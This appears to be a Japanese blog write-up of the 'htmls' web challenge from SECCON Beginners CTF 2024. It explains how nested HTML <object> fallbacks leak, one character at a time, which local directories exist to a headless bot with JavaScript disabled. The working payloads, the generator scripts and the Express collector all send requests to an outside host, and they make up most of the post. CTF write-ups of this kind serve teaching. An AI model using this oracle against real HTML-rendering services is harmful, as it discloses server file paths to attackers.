0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

claustra01's Daily CTFAdvent Calendar 2024

Day 25

[web] htmls (SECCON Beginners CTF 2024) writeup

Last updated at Posted at 2024-12-24

  • Source: SECCON Beginners CTF 2024
  • Author: Satoki

任意のHTMLを書き込むことができ、送信すると「オフラインに保存したHTML」をbotが閲覧する。

capp.py
import os
import uuid
import asyncio
from playwright.async_api import async_playwright
from flask import Flask, send_from_directory, render_template, request

app = Flask(__name__)


@app.route("/", methods=["GET"])
def index_get():
    return render_template("index.html")


async def crawl(filename):
    async with async_playwright() as p:
        browser = await p.chromium.launch()
        context = await browser.new_context(java_script_enabled=False)
        page = await context.new_page()
        await page.goto(f"file:///var/www/htmls/{filename}", timeout=5000)
        await browser.close()


@app.route("/", methods=["POST"])
def index_post():
    try:
        html = request.form.get("html")
        filename = f"{uuid.uuid4()}.html"
        with open(f"htmls/{filename}", "w+") as f:
            f.write(html)
        asyncio.run(crawl(f"{filename}"))
        os.remove(f"htmls/{filename}")
    except:
        pass
    return render_template("ok.html")


@app.route("/flag/<path:flag_path>")
def flag(flag_path):
    return send_from_directory("htmls/ctf/", os.path.join(flag_path, "flag.txt"))


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31417)

botにはjava_script_enabled=Falseが設定されており、XSSができない。

async def crawl(filename):
    async with async_playwright() as p:
        browser = await p.chromium.launch()
        context = await browser.new_context(java_script_enabled=False)
        page = await context.new_page()
        await page.goto(f"file:///var/www/htmls/{filename}", timeout=5000)
        await browser.close()

flagは/var/www/htmls/ctf/a/b/c/1/2/3/.../flag.txtといった場所で保存されているが、階層数すら分からない。よって、一階層ずつディレクトリ名を特定していく必要がある。

#!/bin/bash

rm -rf /var/www/htmls/ctf/*

base_path="/var/www/htmls/ctf/"

depth=$((RANDOM % 10 + 15))

current_path="$base_path"

for i in $(seq 1 $depth); do
  char=$(printf "%d" $((RANDOM % 36)))
  if [[ $char -lt 26 ]]; then
    char=$(printf "\\$(printf "%03o" $((char + 97)) )")
  else
    char=$(printf "%d" $((char - 26)))
  fi
  current_path+="${char}/"
  mkdir -p "$current_path"
done

echo 'ctf4b{*****REDACTED*****}' > "${current_path}flag.txt"

何らかの方法でディレクトリが存在するか否かを知りたい。多くのブラウザにおいて、fileスキーマでディレクトリにアクセスした際、そのディレクトリが存在する場合はファイル一覧を返すが、存在しない場合はエラーを返す。
{C26C05C4-2ABA-449E-9C83-0A84D389778C}.png
{78B67E0B-A2B7-4CA9-BF96-2D21FE6FB6A4}.png

<object>dataの参照に失敗した時、フォールバックコンテンツとしてその子要素を参照するらしい。これをオラクルに利用する。

このようなhtmlを読み込ませると、file:///var/www/htmls/ctf/aが「存在しない」場合のみhttps://xxxxxxxx.m.pipedream.net/aへのアクセスが発生する。

<object data="file:///var/www/htmls/ctf/a">
  <object data="https://xxxxxxxx.m.pipedream.net/a"></object>
</object>

これをa-z0-9について試すと、35個のリクエストが飛んできた。つまり、唯一飛んでこなかったパスが実際に存在するパスになる。

charset = "abcdefghijklmnopqrstuvwxyz0123456789"

TEMPLATE = """
<object data="file:///var/www/htmls/ctf/{{PATH}}">
  <object data="https://xxxxxxxx.m.pipedream.net/{{PATH}}"></object>
</object>
"""

html = ""
for i in range(len(charset)):
  html += TEMPLATE.replace("{{PATH}}", f"{charset[i]}")

with open("test.html", "w") as f:
  f.write(html)

リクエストを受け取って「リクエストが無かった」パスを特定するサーバーを用意する。なお、36個全てのリクエストが飛んできた時、そこが階層の最深部だと分かる。

const express = require('express');
const app = express();

let charset = "abcdefghijklmnopqrstuvwxyz0123456789".split("");

app.get('*', (req, res) => {
  const pathLastChar = req.path.slice(-1);
  charset = charset.filter(char => char !== pathLastChar);
  if (charset.length === 1) {
    console.log("Found:", charset[0]);
  }
  if (charset.length === 0) {
    console.log("Finished");
  }
  res.send("OK");
});

app.listen(8100);

あとは一階層ごとにリクエストを送って存在するディレクトリを特定していく。

const charset = "abcdefghijklmnopqrstuvwxyz0123456789"

const template = `
<object data="file:///var/www/htmls/ctf/{{PATH}}">
  <object data="http://my-server/{{PATH}}"></object>
</object>
`

let path = ""
// let path = "v/6/n/d/f/0/w/p/8/l/6/4/3/b/0/g/r/a/w/0/6/u/"

let html = ""
for (let i = 0; i < charset.length; i++) {
  html += template.replaceAll("{{PATH}}", path+charset[i])
}

const formData = new FormData();
formData.append("html", html);

fetch("http://localhost:31417", {
  method: "POST",
  body: formData,
})

最後に特定したパスで/flagエンドポイントを叩く。

curl "http://localhost:31417/flag/v/6/n/d/f/0/w/p/8/l/6/4/3/b/0/g/r/a/w/0/6/u/"

flagが得られた。
ctf4b{h7ml_15_7h3_l5_c0mm4nd_h3h3h3!}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?